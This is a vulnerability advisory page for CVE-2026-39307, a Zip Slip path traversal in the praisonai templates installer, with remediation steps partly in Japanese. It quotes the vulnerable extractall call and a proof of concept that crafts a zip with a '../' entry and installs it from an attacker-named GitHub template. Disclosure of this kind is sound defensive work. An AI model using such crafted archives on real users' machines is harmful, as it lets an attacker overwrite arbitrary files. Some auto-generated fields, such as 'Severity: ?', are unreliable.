Categories
CVE-2026-39307

Path Traversal in praisonai (CVE-2026-39307)

Summary

Path traversal in praisonai (CVE-2026-39307). Data can be tampered with by attackers. Exploitable via extractall. Mitigation: upgrade to 4.5.113 or later.

Original description

The description as published by the source.

The PraisonAI templates installation feature is vulnerable to a "Zip Slip" Arbitrary File Write attack. When downloading and extracting template archives from external sources (e.g., GitHub), the application uses Python's zipfile.extractall() without verifying if the files within the archive resolve outside of the intended extraction directory.

Details

Location: src/praisonai/praisonai/cli/features/templates.py (Line 852)

Vulnerable Code snippet:

zip_ref.extractall(tmpdir)

During installation, the CLI downloads a ZIP archive and extracts it directly into a temporary directory using zip_ref.extractall(tmpdir). A specially crafted ZIP archive can contain file entries with relative paths (such as ../../../../tmp/evil.sh). If extracting this archive in older Python versions or environments where extraction rules aren't strict, extractall will write these files outside the target directory, allowing an attacker to overwrite arbitrary files on the victim's filesystem.

PoC

  1. Generate a malicious zip payload:
import zipfile

with zipfile.ZipFile('malicious_template.zip', 'w') as z:
    # Adding a file that traverses directories
    z.writestr('../../../../../../../tmp/zip_slip_pwned.txt', 'pwned by zip slip')
  1. Trick a user into installing the malicious template:
praisonai templates install github:attacker/malicious_template
  1. Observe the zip_slip_pwned.txt file created in /tmp/ on the victim's machine.

Impact…

Source: OSV.dev (Open Source Vulnerabilities) NVD GitHub Advisory OSV

Auto-generated summary

Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.

A vulnerability tracked as CVE-2026-39307 has been found in praisonai.
Attackers can target a specific entry point like extractall over the network to misuse the product.
Data can be tampered with by attackers.
What to do: upgrade praisonai to 4.5.113 or later.
If unsure, ask your IT team or search "praisonai CVE-2026-39307" on the vendor's site.

CVE-2026-39307 (praisonai) — CWE-22
Attack vector: remote (network-reachable) / unauthenticated
Attack surface: extractall / zip_slip_pwned.txt
Patched: 4.5.113 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.

❓ What is the problem

Path traversal (CWE-22) exists in praisonai. Attackers reach the vulnerable code path via extractall without authentication.

📍 Affected scope

Check the vendor advisory for the affected versions of praisonai. Attack surface: extractall / zip_slip_pwned.txt.

🔥 Severity

Severity: ?. Data can be tampered with by attackers.

🔧 How to fix

Update to 4.5.113.

🛡️ Workaround

Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.

🔍 Detection

Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'praisonai' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.

Response actions

Concrete steps and command examples for SOC/SRE teams to execute in order

  1. 1
    Identify exposure identify
    grep -r 'praisonai' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で praisonai を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    Apply patch patch
    Upgrade praisonai to 4.5.113

    ステージング環境で 4.5.113 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。

  3. 3
    Post-deployment verification verify
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。

Affected packages

PyPI praisonai
[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.113"}]}]

References

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